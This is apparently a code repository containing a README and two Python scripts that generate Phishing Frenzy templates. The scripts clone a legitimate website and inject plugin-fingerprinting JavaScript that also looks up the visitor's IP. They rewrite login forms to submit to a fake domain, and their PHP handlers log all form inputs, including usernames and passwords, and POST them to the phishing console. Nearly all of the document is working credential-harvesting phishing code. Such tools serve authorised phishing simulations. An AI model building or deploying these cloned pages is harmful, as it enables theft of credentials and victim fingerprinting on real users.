├── README.md ├── genTemplate-nopwd.py └── genTemplate-pwd.py /README.md: -------------------------------------------------------------------------------- 1 | # phishing-frenzy-template-cloner 2 | 3 | The script **genTemplate-nopwd.py** is useful if you are interested in generating a phishing frenzy template that fingerprints the browser plugins and sent back these data to the phishing frenzy server. 4 | ``` 5 | $ python genTemplate-nopwd.py -c http://edition.cnn.com -u phishingfrenzydomain -i fakedomain.com 6 | - Cloning website: http://edition.cnn.com 7 | - Generated data.html, index.php and index2.php 8 | - Generated attachments.yml and template.yml 9 | - Creating archive 10 | - Generated zip file: template.zip 11 | - You can now import the file in Phishing Frenzy under Templates > Restore 12 | ``` 13 | 14 | 15 | The script **genTemplate-pwd.py** is useful if you are interested in generating a phishing frenzy template that does what **genTemplate-nopwd.py** does plus it captures all form inputs (e.g. username/passwords) and sent back these data to the phishing frenzy server. 16 | ``` 17 | $ python genTemplate-pwd.py -c http://edition.cnn.com -u phishingfrenzydomain -i fakedomain.com 18 | - Download PluginDetect Javascript file 19 | - Cloning website: http://edition.cnn.com 20 | - Generated index.php and process.php 21 | - Generated attachments.yml and template.yml 22 | - Creating archive 23 | - Generated zip file: template.zip 24 | - You can now import the file in Phishing Frenzy under Templates > Restore 25 | ``` 26 | 27 | -------------------------------------------------------------------------------- /genTemplate-nopwd.py: -------------------------------------------------------------------------------- 1 | import re,sys,argparse, commands, tempfile 2 | try: 3 | from bs4 import BeautifulSoup 4 | except ImportError: 5 | from BeautifulSoup import BeautifulSoup 6 | 7 | import zipfile 8 | tempDir = tempfile.gettempdir() 9 | 10 | def generateZIP(): 11 | zipFilename = "template.zip" 12 | print '- Creating archive' 13 | zf = zipfile.ZipFile(zipFilename, mode='w') 14 | try: 15 | zf.write(tempDir+'/PluginDetect_AllPlugins.js') 16 | zf.write(tempDir+'/attachments.yml') 17 | zf.write(tempDir+'/template.yml') 18 | zf.write(tempDir+'/include1.js') 19 | zf.write(tempDir+'/index.php') 20 | zf.write(tempDir+'/index2.php') 21 | finally: 22 | zf.close() 23 | print "- Generated zip file: "+zipFilename 24 | print "- You can now import the file in Phishing Frenzy under Templates > Restore" 25 | 26 | 27 | def generateTemplate(url): 28 | attachmentsText = """--- 29 | 30 | - !ruby/object:Attachment 31 | attributes: 32 | id: 61 33 | file: include1.js 34 | attachable_id: 16 35 | attachable_type: Template 36 | created_at: 2014-09-05 18:03:50.000000000 Z 37 | updated_at: 2014-09-05 18:03:50.000000000 Z 38 | function: website 39 | - !ruby/object:Attachment 40 | attributes: 41 | id: 62 42 | file: PluginDetect_AllPlugins.js 43 | attachable_id: 16 44 | attachable_type: Template 45 | created_at: 2014-09-05 18:03:50.000000000 Z 46 | updated_at: 2014-09-05 18:03:50.000000000 Z 47 | function: website 48 | - !ruby/object:Attachment 49 | attributes: 50 | id: 63 51 | file: index.php 52 | attachable_id: 16 53 | attachable_type: Template 54 | created_at: 2014-09-05 18:03:50.000000000 Z 55 | updated_at: 2014-09-05 18:03:50.000000000 Z 56 | function: website 57 | - !ruby/object:Attachment 58 | attributes: 59 | id: 64 60 | file: index2.php 61 | attachable_id: 16 62 | attachable_type: Template 63 | created_at: 2014-09-05 18:03:50.000000000 Z 64 | updated_at: 2014-09-05 18:03:50.000000000 Z 65 | function: website""" 66 | 67 | templateText = """--- !ruby/object:Template 68 | attributes: 69 | id: 16 70 | campaign_id: 71 | name: Template1 72 | description: '[template_name]' 73 | location: 74 | notes: 'ZIP archive contains a readme. You will want to customize the template 75 | to match your organization. The readme will show you exactly where to make changes. ' 76 | created_at: 2014-09-05 17:55:23.000000000 Z 77 | updated_at: 2014-09-05 18:03:50.000000000 Z 78 | directory_index: index.php""" 79 | templateText = templateText.replace("[template_name]",url) 80 | 81 | print "- Generated attachments.yml and template.yml" 82 | target = open(tempDir+"/attachments.yml", 'w') 83 | target.write(attachmentsText) 84 | target.close() 85 | 86 | target = open(tempDir+"/template.yml", 'w') 87 | target.write(templateText) 88 | target.close() 89 | 90 | def runCommand(fullCmd): 91 | try: 92 | return commands.getoutput(fullCmd) 93 | except: 94 | return "Error executing command %s" %(fullCmd) 95 | 96 | def cloneWebsite(url): 97 | print "- Cloning website: "+url 98 | cmd = 'wget --no-check-certificate -O '+tempDir+'/data.html -c -k -U "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36" '+url 99 | runCommand(cmd) 100 | 101 | def generateFiles(domainName,pfURL): 102 | cmd = "wget http://www.pinlady.net/PluginDetect/scripts/PluginDetect_AllPlugins.js -O "+tempDir+"/PluginDetect_AllPlugins.js" 103 | runCommand(cmd) 104 | 105 | includeJScode = """ 106 | PluginDetect.getVersion("."); 107 | var total=""; 108 | var version = PluginDetect.getVersion("Flash"); 109 | if(version!=null){ 110 | total+=("flash="+version) 111 | } 112 | var version = PluginDetect.getVersion("DevalVR"); 113 | if(version!=null){ 114 | total+=("|DevalVR="+version) 115 | } 116 | var version = PluginDetect.getVersion("Shockwave"); 117 | if(version!=null){ 118 | total+=("|Shockwave="+version) 119 | } 120 | var version = PluginDetect.getVersion("WindowsMediaPlayer"); 121 | if(version!=null){ 122 | total+=("|WindowsMediaPlayer="+version) 123 | } 124 | var version = PluginDetect.getVersion("Silverlight"); 125 | if(version!=null){ 126 | total+=("|Silverlight="+version) 127 | } 128 | var version = PluginDetect.getVersion("vlc"); 129 | if(version!=null){ 130 | total+=("|vlc="+version) 131 | } 132 | var version = PluginDetect.getVersion("AdobeReader"); 133 | if(version!=null){ 134 | total+=("|AdobeReader="+version) 135 | } 136 | var version = PluginDetect.getVersion("QuickTime"); 137 | if(version!=null){ 138 | total+=("|QuickTime="+version) 139 | } 140 | var version = PluginDetect.getVersion("RealPlayer"); 141 | if(version!=null){ 142 | total+=("|RealPlayer="+version) 143 | } 144 | var version = PluginDetect.getVersion("Java"); 145 | if(version!=null){ 146 | total+=("|Java="+version) 147 | } 148 | function getSearchParameters() { 149 | var prmstr = window.location.search.substr(1); 150 | return prmstr != null && prmstr != "" ? transformToAssocArray(prmstr) : {}; 151 | } 152 | function transformToAssocArray( prmstr ) { 153 | var params = {}; 154 | var prmarr = prmstr.split("&"); 155 | for ( var i = 0; i < prmarr.length; i++) { 156 | var tmparr = prmarr[i].split("="); 157 | params[tmparr[0]] = tmparr[1]; 158 | } 159 | return params; 160 | } 161 | var params = getSearchParameters(); 162 | var uid = params.uid; 163 | var ip = ""; 164 | 165 | $.get("http://ipinfo.io", function(response) { 166 | var ip = response.ip; 167 | base64total=(total); 168 | base64total+="&uid="+uid+"&ip="+ip; 169 | window.location='http://[fakedomain]/index2.php?'+base64total; 170 | }, "jsonp"); 171 | """ 172 | 173 | indexcode = """ 174 | '; 178 | echo ''; 179 | ?> 180 | 181 | """ 182 | 183 | index2code = """ 184 | $param_val) { 217 | if (($param_name != "uid") and ($param_name != "ip")){ 218 | $str1 = $str1 . $param_name . '=' . $param_val . '|'; 219 | } 220 | } 221 | 222 | $formValues = rtrim($str1,'|'); 223 | $formValues = clean($formValues); 224 | 225 | $browser = $_SERVER['HTTP_USER_AGENT']; 226 | $host = $_SERVER['HTTP_HOST']; 227 | $url = "http://[phishing-frenzy-url]" . '/reports/results/'; 228 | 229 | $data = array('uid' => $uid, 'browser_info' => $browser, 'ip_address' => $ip, 'extra' => "$formValues"); 230 | $options = array( 231 | 'http' => array( 232 | 'header' => 'Content-type: application/x-www-form-urlencoded', 233 | 'method' => 'POST', 234 | 'content' => http_build_query($data), 235 | ), 236 | ); 237 | $context = stream_context_create($options); 238 | $result = file_get_contents($url, false, $context); 239 | 240 | ?> 241 | """ 242 | 243 | includeJScode = includeJScode.replace("[fakedomain]",domainName) 244 | indexcode = indexcode.replace("[fakedomain]",domainName) 245 | 246 | index2code = index2code.replace("[fakedomain]",domainName) 247 | index2code = index2code.replace("[phishing-frenzy-url]",pfURL) 248 | index2code = index2code.replace("[redirect_url]",url) 249 | 250 | 251 | insertJS="" 252 | 253 | fname=tempDir+"/data.html" 254 | with open(fname) as f: 255 | content = f.readlines() 256 | 257 | #origHtml="" 258 | #for x in content: 259 | # x = x.strip() 260 | # origHtml+=x 261 | 262 | #origHtml1=str(BeautifulSoup(origHtml)) 263 | #origTag = "" 264 | #replaceTag = "" 265 | 266 | #soup = BeautifulSoup(origHtml) 267 | #forms = soup.findAll('form') 268 | #for x in forms: 269 | # inputs = x.find_all('input') 270 | # for y in inputs: 271 | # if 'type="password"' in str(y) or "type='password'" in str(y): 272 | # origTag = str(y) 273 | # replaceTag = str(y)+'' 274 | 275 | #origHtml2 = origHtml1.replace(origTag,replaceTag) 276 | #origHtml2 = re.sub('action="*"', 'action="http://%s/index2.php"' % (domainName), origHtml2) 277 | 278 | #Generate files 279 | 280 | target = open(tempDir+'/include1.js', 'w') 281 | target.write(includeJScode) 282 | target.close() 283 | 284 | target = open(tempDir+'/index.php', 'w') 285 | target.write(indexcode) 286 | target.close() 287 | 288 | target = open(tempDir+"/index2.php", 'w') 289 | target.write(index2code) 290 | target.close() 291 | print "- Generated data.html, index.php and index2.php" 292 | 293 | if __name__ == '__main__': 294 | global filename 295 | parser = argparse.ArgumentParser() 296 | parser.add_argument('-c', action='store', help='[URL of website to clone]') 297 | parser.add_argument('-i', action='store', help='[Domain name where this cloned web will be hosted on]') 298 | parser.add_argument('-u', action='store', help='[URL of phishing frenzy console]') 299 | 300 | if len(sys.argv)==1: 301 | parser.print_help() 302 | sys.exit(1) 303 | 304 | options = parser.parse_args() 305 | if options.i and options.u and options.c: 306 | url = options.c 307 | cloneWebsite(url) 308 | 309 | domainName = options.i 310 | pfURL = options.u 311 | generateFiles(domainName,pfURL) 312 | generateTemplate(url) 313 | generateZIP() 314 | else: 315 | print "- You must supply -c, -i and -u arguments" 316 | -------------------------------------------------------------------------------- /genTemplate-pwd.py: -------------------------------------------------------------------------------- 1 | import re,sys,argparse, commands, tempfile 2 | import urllib 3 | try: 4 | from bs4 import BeautifulSoup 5 | except ImportError: 6 | from BeautifulSoup import BeautifulSoup 7 | 8 | import zipfile 9 | tempDir = tempfile.gettempdir() 10 | 11 | def generateZIP(): 12 | zipFilename = "template.zip" 13 | print '- Creating archive' 14 | zf = zipfile.ZipFile(zipFilename, mode='w') 15 | try: 16 | zf.write(tempDir+'/attachments.yml') 17 | zf.write(tempDir+'/PluginDetect_AllPlugins.js') 18 | zf.write(tempDir+'/template.yml') 19 | zf.write(tempDir+'/index.php') 20 | zf.write(tempDir+'/process.php') 21 | finally: 22 | zf.close() 23 | print "- Generated zip file: "+zipFilename 24 | print "- You can now import the file in Phishing Frenzy under Templates > Restore" 25 | 26 | def downloadPluginsJS(): 27 | print "- Download PluginDetect Javascript file" 28 | urllib.urlretrieve("http://www.pinlady.net/PluginDetect/scripts/PluginDetect_AllPlugins.js",tempDir+"/PluginDetect_AllPlugins.js") 29 | 30 | def generateTemplate(url): 31 | attachmentsText = """--- 32 | - !ruby/object:Attachment 33 | attributes: 34 | id: 60 35 | file: index.php 36 | attachable_id: 16 37 | attachable_type: Template 38 | created_at: 2014-09-05 18:03:50.000000000 Z 39 | updated_at: 2014-09-05 18:03:50.000000000 Z 40 | function: website 41 | - !ruby/object:Attachment 42 | attributes: 43 | id: 61 44 | file: PluginDetect_AllPlugins.js 45 | attachable_id: 16 46 | attachable_type: Template 47 | created_at: 2014-09-05 18:03:50.000000000 Z 48 | updated_at: 2014-09-05 18:03:50.000000000 Z 49 | function: website 50 | - !ruby/object:Attachment 51 | attributes: 52 | id: 62 53 | file: process.php 54 | attachable_id: 16 55 | attachable_type: Template 56 | created_at: 2014-09-05 18:03:50.000000000 Z 57 | updated_at: 2014-09-05 18:03:50.000000000 Z 58 | function: website""" 59 | 60 | templateText = """--- !ruby/object:Template 61 | attributes: 62 | id: 16 63 | campaign_id: 64 | name: [template_name] 65 | description: '[template_name]' 66 | location: 67 | notes: 'ZIP archive contains a readme. You will want to customize the template 68 | to match your organization. The readme will show you exactly where to make changes. ' 69 | created_at: 2014-09-05 17:55:23.000000000 Z 70 | updated_at: 2014-09-05 18:03:50.000000000 Z 71 | directory_index: index.php""" 72 | templateText = templateText.replace("[template_name]",url) 73 | 74 | 75 | print "- Generated attachments.yml and template.yml" 76 | target = open(tempDir+"/attachments.yml", 'w') 77 | target.write(attachmentsText) 78 | target.close() 79 | 80 | target = open(tempDir+"/template.yml", 'w') 81 | target.write(templateText) 82 | target.close() 83 | 84 | def runCommand(fullCmd): 85 | try: 86 | return commands.getoutput(fullCmd) 87 | except: 88 | return "Error executing command %s" %(fullCmd) 89 | 90 | def cloneWebsite(url): 91 | print "- Cloning website: "+url 92 | cmd = 'wget --no-check-certificate -O '+tempDir+'/index.html -c -k -U "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36" '+url 93 | runCommand(cmd) 94 | 95 | def generatePHP(ipaddr,pfURL): 96 | fingerprintPluginsCode = """ 97 | 98 | """ 147 | 148 | fingerprintPluginsCode = fingerprintPluginsCode.replace("[ipaddr]",ipaddr) 149 | 150 | code = """ 151 | $param_val) { 164 | if ($param_name != "uid"){ 165 | $str1 = $str1 . $param_name . '=' . $param_val . '|'; 166 | } 167 | } 168 | $formValues = rtrim($str1,'|'); 169 | $formValues = clean($formValues); 170 | 171 | file_put_contents($file, print_r($_POST, true), FILE_APPEND); 172 | 173 | function get_ip() { 174 | if (function_exists('apache_request_headers')) { 175 | $headers = apache_request_headers(); 176 | } else { 177 | $headers = $_SERVER; 178 | } 179 | if (array_key_exists('X-Forwarded-For',$headers) && filter_var($headers['X-Forwarded-For'],FILTER_VALIDATE_IP,FILTER_FLAG_IPV4)) { 180 | $the_ip = $headers['X-Forwarded-For']; 181 | } elseif (array_key_exists('HTTP_X_FORWARDED_FOR',$headers) && filter_var($headers['HTTP_X_FORWARDED_FOR'],FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { 182 | $the_ip = $headers['HTTP_X_FORWARDED_FOR']; 183 | } else { 184 | $the_ip = filter_var($_SERVER['REMOTE_ADDR'],FILTER_VALIDATE_IP,FILTER_FLAG_IPV4); 185 | } 186 | return $the_ip; 187 | } 188 | 189 | $password = $_POST['PasswordForm']; 190 | $username = $_POST['UsernameForm']; 191 | 192 | if ($password != '') { 193 | $creds = 'user:' . $username . ' password:' . $password; 194 | } 195 | 196 | $ip = get_ip(); 197 | 198 | $browser = $_SERVER['HTTP_USER_AGENT']; 199 | $host = $_SERVER['HTTP_HOST']; 200 | $url = "[phishing-frenzy-url]" . '/reports/results/'; 201 | 202 | $data = array('uid' => $uid, 'browser_info' => $browser, 'ip_address' => $ip, 'extra' => "$formValues"); 203 | //echo $data . "
"; 204 | 205 | // use key 'http' even if you send the request to https://... 206 | $options = array( 207 | 'http' => array( 208 | 'header' => 'Content-type: application/x-www-form-urlencoded', 209 | 'method' => 'POST', 210 | 'content' => http_build_query($data), 211 | ), 212 | ); 213 | $context = stream_context_create($options); 214 | $result = file_get_contents($url, false, $context); 215 | ?> 216 | 217 | """ 218 | 219 | code = code.replace("[phishing-frenzy-url]",pfURL) 220 | code = code.replace("[redirect_url]",url) 221 | 222 | insertJS="" 223 | 224 | fname=tempDir+"/index.html" 225 | with open(fname) as f: 226 | content = f.readlines() 227 | 228 | origHtml="" 229 | for x in content: 230 | x = x.strip() 231 | origHtml+=x 232 | 233 | origHtml1=str(BeautifulSoup(origHtml)) 234 | origTag = "" 235 | replaceTag = "" 236 | 237 | soup = BeautifulSoup(origHtml) 238 | forms = soup.findAll('form') 239 | for x in forms: 240 | inputs = x.find_all('input') 241 | for y in inputs: 242 | if 'type="password"' in str(y) or "type='password'" in str(y): 243 | origTag = str(y) 244 | replaceTag = str(y)+'' 245 | origHtml2 = origHtml1.replace(origTag,replaceTag) 246 | 247 | origHtml2 = origHtml2.replace("",fingerprintPluginsCode + "") 248 | 249 | origHtml2 = re.sub('action="*"', 'action="http://%s/process.php"' % (ipaddr), origHtml2) 250 | 251 | target = open(tempDir+"/index.php", 'w') 252 | target.write(insertJS+"\n") 253 | target.write(origHtml2) 254 | target.close() 255 | 256 | target = open(tempDir+"/process.php", 'w') 257 | target.write(code) 258 | target.close() 259 | print "- Generated index.php and process.php" 260 | 261 | if __name__ == '__main__': 262 | global filename 263 | parser = argparse.ArgumentParser() 264 | parser.add_argument('-c', action='store', help='[URL of website to clone]') 265 | parser.add_argument('-i', action='store', help='[Domain name where this cloned web will be hosted on]') 266 | parser.add_argument('-u', action='store', help='[URL of phishing frenzy console]') 267 | 268 | if len(sys.argv)==1: 269 | parser.print_help() 270 | sys.exit(1) 271 | 272 | options = parser.parse_args() 273 | if options.i and options.u and options.c: 274 | downloadPluginsJS() 275 | 276 | url = options.c 277 | cloneWebsite(url) 278 | 279 | ipaddr = options.i 280 | pfURL = options.u 281 | generatePHP(ipaddr,pfURL) 282 | 283 | generateTemplate(url) 284 | generateZIP() 285 | else: 286 | print "- You must supply -c, -i and -u arguments" 287 | --------------------------------------------------------------------------------